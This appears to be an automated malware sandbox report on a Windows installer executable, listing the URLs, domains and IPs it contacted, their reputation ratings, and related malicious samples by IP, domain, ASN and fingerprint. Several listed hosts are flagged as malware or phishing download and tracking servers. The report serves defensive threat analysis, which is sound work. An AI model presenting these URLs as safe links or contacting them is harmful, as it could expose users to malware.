http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1662&a=2529&dn=420&spot=1	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2904657026.00000000005E4000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2904657026.000000000065F000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=365&a=2529&dn=310&spot=5&t=17	nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://restfork.website/boa.phpZ	61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.000000000099D000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.00000000009A5000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670C	setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1670&a=2529&dn=434&spot=6	setup.exe, 00000002.00000002.2904657026.0000000000643000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://doc-hosting.flycricket.io/health-tracker-privacy-policy/e1662a21-b082-4dae-bcb0-3abd33859f1c	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://restfork.website/	61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.00000000009B3000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.000000000099D000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.00000000009A5000.00000004.00000020.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.0000000000928000.00000004.00000020.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670=K	setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1664&a=2529&dn=424&spot=4&t=1	nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://www.pcmaintainer.com/eula	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.termsfeed.com/live/4bb495ca-d123-4f4d-a727-e9c4d0f3fabe	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=331&a=2529&dn=244&spot=3&t=17	nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://goo.gl/fxTiKZ	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false		high
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717InnoDownloadPlugin/1.5/USERAGENT/silentget1023	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/;	setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.remobjects.com/ps	61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646190096.0000000002670000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646613143.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000000.1648461302.0000000000401000.00000020.00000001.01000000.00000004.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp.0.dr, is-H6D1D.tmp.1.dr	false	URL Reputation: safe	unknown
https://destructionheat.site/tracker/thank_you.php?trk=2529	61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.000000000254D000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1649961321.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.innosetup.com/	61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646190096.0000000002670000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000003.1646613143.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000000.1648461302.0000000000401000.00000020.00000001.01000000.00000004.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp.0.dr, is-H6D1D.tmp.1.dr	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://beadhouse.xyz/	setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670529&dn=310&spot=5&t=1705920717z	setup.exe, 00000002.00000002.2904657026.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1662&a=2529&dn=420&spot=1&t=17059	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://legal.opera.com/eula/computers/	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false		high
https://www.7-zip.org/	61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1649961321.00000000034E0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1662&a=2529&dn=420&spot=1&t=17	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1662&a=2529&dn=420&spot=1&t=1	nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/	61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://beadhouse.xyz/api_pedl.php?spot=2&a=2529&on=419&o=1661S	setup.exe, 00000002.00000002.2904657026.000000000064E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1661&a=2529&dn=419&spot=2&t=17	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://advancedmanager.io/eula	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.7-zip.org/03Q	61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe, 00000000.00000002.2904470277.0000000002513000.00000004.00001000.00020000.00000000.sdmp	false		high
http://restfork.website/y	61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000003.1754963010.00000000009B3000.00000004.00000020.00020000.00000000.sdmp	false	8%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717V	setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://sto.farmscene.website/track_polos.php?tim=1705920717&rcc=US&c=2529&p=0.9Inno	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365-	setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://advancedmanager.io/privacy-policy	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717n	setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1661&a=2529&dn=419&spot=2&t=1	nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, setup.exe, 00000002.00000000.1758604351.0000000000409000.00000008.00000001.01000000.00000007.sdmp, is-5J49M.tmp.1.dr, is-6A8MO.tmp.1.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1670&a=2529&dn=434&spot=6&t=17059	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=1&a=2529&on=420&o=1662n	setup.exe, 00000002.00000002.2904657026.000000000064E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://antsmemory.xyz/pe/build.php?pe=1&sub=&source=3851&s1=47978071&title=R3JlYWsgTWVtb3JpZXMgb2YgQ	61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.0000000002589000.00000004.00001000.00020000.00000000.sdmp, 61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2904437662.0000000000966000.00000004.00000020.00020000.00000000.sdmp, is-8SD4O.tmp.1.dr	false	Avira URL Cloud: phishing	unknown
http://beadhouse.xyz/api_pedl.php?spot=1&a=2529&on=420&o=1662q	setup.exe, 00000002.00000002.2904657026.000000000064E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://nsis.sf.net/NSIS_Error	setup.exe, setup.exe, 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmp, setup.exe, 00000002.00000000.1758604351.0000000000409000.00000008.00000001.01000000.00000007.sdmp, is-5J49M.tmp.1.dr, is-6A8MO.tmp.1.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1664&a=2529&dn=424&spot=4	setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 00000002.00000002.2904657026.0000000000643000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=yes&o=1670&a=2529&dn=434&spot=6&t=1	nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1664&a=2529&dn=424&spot=4&t=17059	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365S	setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365=2529&dn=424&spot=4&t=1705920717	setup.exe, 00000002.00000002.2904657026.00000000005E4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pcmaintainer.com/privacy	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: malware	unknown
https://beadhouse.xyz/ss.php?a=3851&cc=US&t=1705920717u	setup.exe, 00000002.00000002.2904657026.0000000000615000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=6&a=2529&on=434&o=1670%	setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=1661&a=2529&dn=419&spot=2&t=17059	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=4&a=2529&on=424&o=1664=	setup.exe, 00000002.00000002.2904657026.000000000064E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/api_pedl.php?spot=5&a=2529&on=310&o=365-128B-460A-A029-1EFC4AB6174A	setup.exe, 00000002.00000002.2904657026.0000000000632000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1664&a=2529&dn=424&spot=4&t=17	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_exists&rk=no&o=331&a=2529&dn=244&spot=3&t=170592	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://www.7-zip.org/03b	61487917009BBCC5F0DAC7840265060F070ADC22139FB.tmp, 00000001.00000002.2905432202.0000000002623000.00000004.00001000.00020000.00000000.sdmp	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=365&a=2529&dn=310&spot=5&t=170	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
https://legal.opera.com/privacy/	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false		high
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution&rk=no&o=1670&a=2529&dn=434&spot=6&t=17	setup.exe, 00000002.00000002.2904657026.000000000058E000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown
http://beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1661&a=2529&dn=419&spot=2	setup.exe, 00000002.00000002.2906336415.000000000567C000.00000004.00000020.00020000.00000000.sdmp, nsq7A47.tmp.2.dr	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.23.90	antsmemory.xyz	United States	13335	CLOUDFLARENETUS	true
172.67.206.124	restfork.website	United States	13335	CLOUDFLARENETUS	true
104.21.38.59	beadhouse.xyz	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	38.0.0 Ammolite
Analysis ID:	1378659
Start date and time:	2024-01-22 11:51:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 43s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	61487917009BBCC5F0DAC7840265060F070ADC22139FB.exe
Detection:	MAL
Classification:	mal42.troj.winEXE@5/24@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 40 Number of non-executed functions: 26
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.23.90	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse	antsmemory.xyz/pe/build.php?pe=1&sub=&source=3984&s1=47961548&title=V2l0Y2ggSXQgRnJlZSBEb3dubG9hZCB2MTI2ICAgT25saW5lLmV4ZQ%3D%3D&ti=1705853517
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	antsmemory.xyz/pe/build.php?pe=1&sub=&source=3954&s1=47959833&title=V2luZG93cyA3IEJsYWNrIEVkaXRpb24gRnJlZSBEb3dubG9hZCBGdWxsLmV4ZQ%3D%3D&ti=1705852625
	SHIPPING INVOICE DOCUMENTS.pdf.exe	Get hash	malicious	FormBook	Browse	www.tucasalux.com/fi46/?G2J0a=S9ckRkC5Zlq2si4aSMqWBNnchpYnzzStJ8Ll3sSv33rXiRp7R2438sXvfl6roQSZJLP4&mVrDRn=04yl7v
172.67.206.124	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	restfork.website/boa.php
104.21.38.59	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6&t=1705854427
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2682&dn=416&spot=6&t=1705852624
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2577&dn=416&spot=6&t=1705789015
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	beadhouse.xyz/ar.php?fz=&d=nsis&msg=&r=offer_execution_fail&rk=no&o=1658&a=2474&dn=416&spot=6&t=1705775816

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
restfork.website	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	172.67.206.124
	92C190098753E597DC70B123CCD7CC790A6123A9622ED.exe	Get hash	malicious	Unknown	Browse	104.21.61.51
beadhouse.xyz	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	06e1d13364b76b83f833ca1ff7851fb37e09f2ad2fe41.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	oREY4oLwHG.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	2Mmd9FBNnQ.exe	Get hash	malicious	Unknown	Browse	172.67.219.140
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
antsmemory.xyz	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse	104.21.23.90
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse	104.21.23.90
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	sq5W8v3VZV.exe	Get hash	malicious	Unknown	Browse	172.67.210.35
	w1J9KDIC0m.exe	Get hash	malicious	Unknown	Browse	172.67.210.35

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	IMG_20240122.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.21.152
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	Ziraat_Bankasi_Swift_Mesaji.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	172.67.199.81
	luJ1ncVKe3.exe	Get hash	malicious	FormBook	Browse	104.21.7.3
	RFQ_54000899566600-00980WQPTTR98000450088.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Detalhes_Reserva.ppam	Get hash	malicious	Njrat, RevengeRAT	Browse	104.21.6.247
	Quote.xls	Get hash	malicious	FormBook	Browse	104.21.86.46
	file.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	172.64.41.3
	[YG_E&C]_[TOP_URGENT]_RFQ_5100-ORDER.xls	Get hash	malicious	Remcos	Browse	104.22.52.71
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	172.67.175.187
CLOUDFLARENETUS	IMG_20240122.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.21.152
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	Ziraat_Bankasi_Swift_Mesaji.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	172.67.199.81
	luJ1ncVKe3.exe	Get hash	malicious	FormBook	Browse	104.21.7.3
	RFQ_54000899566600-00980WQPTTR98000450088.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Detalhes_Reserva.ppam	Get hash	malicious	Njrat, RevengeRAT	Browse	104.21.6.247
	Quote.xls	Get hash	malicious	FormBook	Browse	104.21.86.46
	file.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	172.64.41.3
	[YG_E&C]_[TOP_URGENT]_RFQ_5100-ORDER.xls	Get hash	malicious	Remcos	Browse	104.22.52.71
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	172.67.175.187
CLOUDFLARENETUS	IMG_20240122.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.21.152
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	172.67.139.220
	Ziraat_Bankasi_Swift_Mesaji.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	172.67.199.81
	luJ1ncVKe3.exe	Get hash	malicious	FormBook	Browse	104.21.7.3
	RFQ_54000899566600-00980WQPTTR98000450088.exe	Get hash	malicious	Snake Keylogger	Browse	172.67.177.134
	Detalhes_Reserva.ppam	Get hash	malicious	Njrat, RevengeRAT	Browse	104.21.6.247
	Quote.xls	Get hash	malicious	FormBook	Browse	104.21.86.46
	file.exe	Get hash	malicious	Amadey, RisePro Stealer	Browse	172.64.41.3
	[YG_E&C]_[TOP_URGENT]_RFQ_5100-ORDER.xls	Get hash	malicious	Remcos	Browse	104.22.52.71
	file.exe	Get hash	malicious	Glupteba, LummaC Stealer, SmokeLoader, Socks5Systemz, Stealc	Browse	172.67.175.187

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	IMG_20240122.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.38.59
	file.exe	Get hash	malicious	Babuk, Djvu	Browse	104.21.38.59
	Ziraat_Bankasi_Swift_Mesaji.pdf.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.38.59
	MDE_File_Sample_13f5d9ed15b180f3df7d6836ec33be4615bf8697.zip	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.Win64.DropperX-gen.13530.16634.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.Trojan.Win64.Agent.23586.13967.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.Win64.DropperX-gen.13530.16634.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	SecuriteInfo.com.Trojan.Win64.Agent.23586.13967.exe	Get hash	malicious	Unknown	Browse	104.21.38.59
	e-dekont#65531.exe	Get hash	malicious	Azorult, GuLoader	Browse	104.21.38.59
	agtUt25AEM.exe	Get hash	malicious	Unknown	Browse	104.21.38.59

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\_isetup\_setup64.tmp	yusetup.exe	Get hash	malicious	GhostRat	Browse
	yusetup.exe	Get hash	malicious	GhostRat	Browse
	1787A87F208CD0898943BD70E7E76A2C8B1B39679B20A.exe	Get hash	malicious	Unknown	Browse
	A6A4706B8EFFF748CD8FDB24D6421683BAF448C9881F3.exe	Get hash	malicious	Unknown	Browse
	81B7FB00321A57D0632B50993D514D34E586E86564C13.exe	Get hash	malicious	Unknown	Browse
	F2156D1783E3AC6CE1A003A5543AB525A648D87061ED9.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Program.Unwanted.5413.12849.26268.exe	Get hash	malicious	Unknown	Browse
	6BDBCF945B0B9601032F9711F625B9855F53600BEE8A6.exe	Get hash	malicious	Unknown	Browse
	C5A6377F2AC72B0E24F3F44995EEEDD5591825C59EF70.exe	Get hash	malicious	Unknown	Browse
	2D5770EB59209D2238670233CB2BE6424F7974800B83F.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\ar[1].php

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
